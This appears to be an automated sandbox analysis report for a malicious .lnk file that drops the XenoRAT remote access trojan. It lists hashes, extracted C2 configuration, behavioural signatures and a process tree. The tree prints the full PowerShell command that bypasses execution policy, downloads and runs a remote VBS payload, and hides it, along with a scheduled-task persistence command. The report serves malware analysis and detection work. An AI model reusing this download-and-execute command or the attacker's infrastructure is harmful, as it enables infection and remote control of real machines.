Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 05:54

General

  • Target

    TRANSFERENCIACOMPROBANTES.lnk

  • Size

    2KB

  • MD5

    5f82d730794323e47df2c5361e13ce69

  • SHA1

    e05dba2157cec9966790f75cba9899243939b569

  • SHA256

    4a6695307864dfe0b2e8b516afce79959cb20fed28734d5426450091367255a4

  • SHA512

    9b0ffcccaff5071944b6525bcb9678aed94f939700c741ebc99f919cdc4033d86a79546f39080e1991b41cd7cf2e243d434b147764495b3548e1f563a1a0ea07

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family

xenorat

C2

dns.stipamana.com

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIACOMPROBANTES.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass opntjfmdjtgfdjqbinrdfgfdhozhdfbo -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:1592
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        PID:3504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 80
          4⤵
          • Program crash
          PID:744
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        PID:4160
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 80
          4⤵
          • Program crash
          PID:4192
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:64
        • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1212
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            PID:4392
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 80
              6⤵
              • Program crash
              PID:1980
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4480
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2232
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD764.tmp" /F
              6⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:4912
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4160 -ip 4160
    1⤵
      PID:3096
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3504 -ip 3504
      1⤵
        PID:216
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4392 -ip 4392
        1⤵
          PID:2152

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GFKMTE.exe.log

          Filesize

          706B

          MD5

          d95c58e609838928f0f49837cab7dfd2

          SHA1

          55e7139a1e3899195b92ed8771d1ca2c7d53c916

          SHA256

          0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

          SHA512

          405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

        • C:\Users\Admin\AppData\Local\Temp\TCDD5D3.tmp\sist02.xsl

          Filesize

          245KB

          MD5

          f883b260a8d67082ea895c14bf56dd56

          SHA1

          7954565c1f243d46ad3b1e2f1baf3281451fc14b

          SHA256

          ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

          SHA512

          d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gljnv1uy.ilo.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs

          Filesize

          10KB

          MD5

          087bcef76143b81090deef4ee4679995

          SHA1

          6ebd4fd212d0583157ae03bb0eb5841c53e281fc

          SHA256

          87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00

          SHA512

          b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d

        • C:\Users\Admin\AppData\Local\Temp\tmpD764.tmp

          Filesize

          1KB

          MD5

          284e416e02187ce3d7f57e1f6de8e9ff

          SHA1

          eb99094dfd8e312947b03befb46dca38fbe1ee27

          SHA256

          bc0fa777e4a5772ae4af0eef1df3c5fc3253042a9072281bb95f56a92f3136b2

          SHA512

          961df349b8685fed8325c5067a1de2513d505f002e4304a78834c52fd6827e689aa8908797636f4ad79c47004a772a4b0b1f665bf70f71de7bfdc78d057ea1c7

        • C:\Users\Admin\AppData\Local\Temp\¸¸.doc

          Filesize

          195KB

          MD5

          7ea9da3dd3db6f3fadf04ac76b54434b

          SHA1

          b30b950191046d999e71aaa54fb2648c6655ce9b

          SHA256

          947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170

          SHA512

          f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe

          Filesize

          173KB

          MD5

          94a7e3859c2e4238421cdfe73d49603c

          SHA1

          03f03c5b5d8cf362aa52b9e793e7be398d779c21

          SHA256

          639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91

          SHA512

          74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5

        • memory/64-106-0x0000000000400000-0x0000000000412000-memory.dmp

          Filesize

          72KB

        • memory/2744-100-0x0000000007880000-0x0000000007912000-memory.dmp

          Filesize

          584KB

        • memory/2744-95-0x0000000000810000-0x0000000000840000-memory.dmp

          Filesize

          192KB

        • memory/2744-101-0x0000000002C20000-0x0000000002C26000-memory.dmp

          Filesize

          24KB

        • memory/2744-99-0x0000000007E30000-0x00000000083D4000-memory.dmp

          Filesize

          5.6MB

        • memory/2744-98-0x0000000005300000-0x000000000539C000-memory.dmp

          Filesize

          624KB

        • memory/2744-97-0x0000000002B80000-0x0000000002BB4000-memory.dmp

          Filesize

          208KB

        • memory/2744-96-0x00000000013B0000-0x00000000013B6000-memory.dmp

          Filesize

          24KB

        • memory/3588-2-0x00007FFB40EF3000-0x00007FFB40EF5000-memory.dmp

          Filesize

          8KB

        • memory/3588-20-0x00007FFB40EF0000-0x00007FFB419B1000-memory.dmp

          Filesize

          10.8MB

        • memory/3588-14-0x00007FFB40EF0000-0x00007FFB419B1000-memory.dmp

          Filesize

          10.8MB

        • memory/3588-13-0x00007FFB40EF0000-0x00007FFB419B1000-memory.dmp

          Filesize

          10.8MB

        • memory/3588-12-0x000001E075D30000-0x000001E075D52000-memory.dmp

          Filesize

          136KB

        • memory/4864-22-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

          Filesize

          64KB

        • memory/4864-24-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

          Filesize

          64KB

        • memory/4864-28-0x00007FFB1D110000-0x00007FFB1D120000-memory.dmp

          Filesize

          64KB

        • memory/4864-27-0x00007FFB1D110000-0x00007FFB1D120000-memory.dmp

          Filesize

          64KB

        • memory/4864-26-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

          Filesize

          64KB

        • memory/4864-23-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

          Filesize

          64KB

        • memory/4864-25-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

          Filesize

          64KB

        • memory/4864-133-0x000001E5E1020000-0x000001E5E115C000-memory.dmp

          Filesize

          1.2MB